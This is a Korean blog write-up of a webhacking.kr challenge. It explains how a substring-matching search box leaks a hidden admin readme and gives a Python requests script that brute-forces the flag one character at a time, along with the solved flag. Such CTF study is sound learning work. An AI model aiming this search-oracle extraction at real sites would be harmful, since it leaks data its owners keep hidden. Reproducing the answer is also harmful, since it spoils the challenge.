BOARD에 admin과 guest에 대한 정보고 table 형식으로 있습니다.
readme에 들어가면 access denied 라고 뜨고,
hi~에 들어가면 hello~ 라고 뜹니다.
일단 소스코드와 쿠키에선 얻을 게 없었고,
search칸에 이것저것 입력해 보았는데,
hello값을 입력했을 때, guest에 대한 정보가 뜹니다.
그리고 h만 입력해도 guest에 대한 정보가 뜹니다.
아마도 search기능은 각 파일의 내용에서 해당하는 글자를 찾아주는것 같습니다.
그럼 당연히 admin에는 flag~가 있겠거니 싶어서
f를 검색해 보니까, 창에 admin이 떳습니다.
그리고 이것저것 시도해 보았습니다.
시도를 하면서 알게 된 것을 정리하자면,
c언어의 strstr함수 아시나요??
바로 문자열 속에서 문자열을 찾아주는 함수입니다.
strstr(대상문자열, 검색할 문자열)
대상문자열에서 검색할 문자열을 찾았을 때 TRUE를 반환
예를 들어 문자열이 flag{asdf}라고 가정했을 때
strstr(f), strstr(flag), strstr(asdf) --> TRUE
str(z), str(flzz) --> FALSE
처럼 되는 거죠. 이 strstr함수의 기능을 search가 담당한다고 보면 됩니다.
그래서 admin의 readme 내용을 flag{~~}로 가정하고
'flag{'를 검색해 봅시다.
예상대로 readme글 속에 flag{가 존재하나 봅니다.
flag{ 다음에 오는 글자가 'a'라고 가정해 보고,
flag{a를 검색해 봅시다.
검색 결과가 나오지 않네요!!
flag{ 다음의 첫 글자는 a가 아닌가 봅니다!
자 이런 식으로 readme의 내용을 알아가야 합니다.
저는 파이썬을 이용해서 이 문제를 해결하겠습니다.
import requests
headers={'PHPSESSID':'kjncet1j158d1b0ah1um27f539'}
url ="https://webhacking.kr/challenge/web-33/index.php"
length=31
flag= "flag{"
for i in range(1, 100):
for j in range(38, 127):
#if(j==37):
# break
#query="right(left(p4ssw0rd_1123581321," +str(i)+ "),1)=" +str(hex(j))
search_str=flag+chr(j)
print("search_str: "+flag+chr(j))
datas={'search':search_str}
r= requests.post(url, headers=headers, data=datas)
if r.text.find("admin") !=-1:
flag+=chr(j)
print("flag: "+flag)
if(chr(j)=='}'):
exit(1)
break
실행했더니 flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_ 뒤에는 계속 못찾더라고요?
느낌상 flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?} 일 거 같아서 해보니 됩니다. (야매....)
그렇게 해서 구한 flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?}를 auth에 넣어주면 문제는 풀리게 됩니다.
'보안 공부 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 29번 풀이 (0) | 2022.01.17 |
---|---|
webhacking.kr 59번 풀이 (0) | 2022.01.16 |
webhacking.kr 55번 풀이 (0) | 2022.01.15 |
webhacking.kr 51번 풀이(PHP md5함수 취약점) (0) | 2022.01.05 |
webhacking.kr 53번 풀이 (0) | 2022.01.04 |